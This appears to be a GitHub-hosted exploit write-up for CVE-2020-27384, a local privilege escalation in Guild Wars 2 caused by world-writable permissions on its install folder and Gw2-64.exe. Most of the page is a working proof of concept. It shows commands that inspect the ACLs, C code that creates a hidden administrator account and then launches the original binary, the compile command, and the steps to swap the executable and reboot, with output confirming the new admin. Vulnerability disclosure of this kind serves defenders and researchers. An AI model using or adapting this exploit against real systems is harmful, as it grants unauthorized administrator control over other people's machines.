FreySolarEye / **CVE** Public

<> Code   Issues   Pull requests   Actions   Projects   Security   Insights

master ▾

CVE / **Guild Wars 2 - Local Privilege Escalation**

FreySolarEye Updating CVE   History

1 contributor

103 lines (71 sloc) | 2.95 KB

```
# Exploit Title: Guild Wars 2 Insecure Folder/File Permissions Local Privilege Escalation
# Date: 10-09-2020
# Exploit Author: George Tsimpidas
# Software Link  : https://account.arena.net/welcome
# Version Build : 106915
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local
# CVE : CVE-2020-27384



 Vulnerability Description:

Gw2-64.exe  suffers from an elevation of
privileges vulnerability which can be used by an "Authenticated User" to modify the
existing executable file with a binary of his choice. The vulnerability exist due to the improper permissions,
with the 'F' flag (Full Control) for 'Everyone' group, making the entire directory
'Guild Wars 2' and its files and sub-dirs world-writable.


# Local Privilege Escalation Proof of Concept


D:\>icacls "Guild Wars 2"
Guild Wars 2 Everyone:(F)
             Everyone:(OI)(CI)(IO)(M,WDAC,WO,DC)
             BUILTIN\Administrators:(I)(F)
             BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
             NT AUTHORITY\SYSTEM:(I)(F)
             NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
             NT AUTHORITY\Authenticated Users:(I)(M)
             NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
             BUILTIN\Users:(I)(RX)
             BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)

## Insecure File Permission

D:\Guild Wars 2>icacls Gw2-64.exe
Gw2-64.exe Everyone:(F)
           Everyone:(I)(F)
           BUILTIN\Administrators:(I)(F)
           NT AUTHORITY\SYSTEM:(I)(F)
           NT AUTHORITY\Authenticated Users:(I)(M)
           BUILTIN\Users:(I)(RX)



#0.  Download & install

#1.  Create low privileged user & change to the user
## As admin

C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name                    lowpriv
Local Group Memberships      *Users
Global Group memberships     *None

#2.  Move the Service EXE to a new name

D:\Guild Wars 2> whoami
lowpriv

D:\Guild Wars 2> move Gw2-64.exe Gw2-64.frey.exe
        1 file(s) moved.

#3.  Create malicious binary on kali linux
## Add Admin User C Code

   kali# cat addAdmin.c
     int main(void){
     system("net user placebo mypassword /add");
     system("net localgroup Administrators placebo /add");
     WinExec("D:\\Guild Wars 2\\Gw2-64.frey.exe",0);
    return 0;
    }

## Compile Code
```

```
   kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Gw2-64.exe

#4. Transfer created 'Gw2-64' to the Windows Host

#5. Move the created 'Gw2-64' binary to the 'D:\Guild Wars 2>' Folder

D:\Guild Wars 2> move C:\Users\lowpriv\Downloads\Gw2-64.exe .

#6. Check that exploit admin user doesn't exists

D:\Guild Wars 2> net user placebo

The user name could not be found

#6. Reboot the Computer

D:\Guild Wars 2> shutdown /r

#7. Login & look at that new Admin

C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr /v "Full"

User name                    placebo
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
```